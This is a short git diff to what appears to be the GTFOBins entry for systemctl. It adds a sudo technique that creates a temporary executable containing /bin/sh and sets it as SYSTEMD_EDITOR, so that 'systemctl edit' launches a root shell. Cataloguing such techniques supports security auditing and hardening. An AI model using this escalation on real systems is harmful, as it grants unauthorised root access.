diff --git a/_gtfobins/systemctl.md b/_gtfobins/systemctl.md index 597a30e..4a68b33 100644 --- a/_gtfobins/systemctl.md +++ b/_gtfobins/systemctl.md @@ -11,6 +11,11 @@ functions: ./systemctl link $TF ./systemctl enable --now $TF sudo: + - code: | + TF=$(mktemp) + echo /bin/sh >$TF + chmod +x $TF + sudo SYSTEMD_EDITOR=$TF systemctl edit system.slice - code: | TF=$(mktemp).service echo '[Service]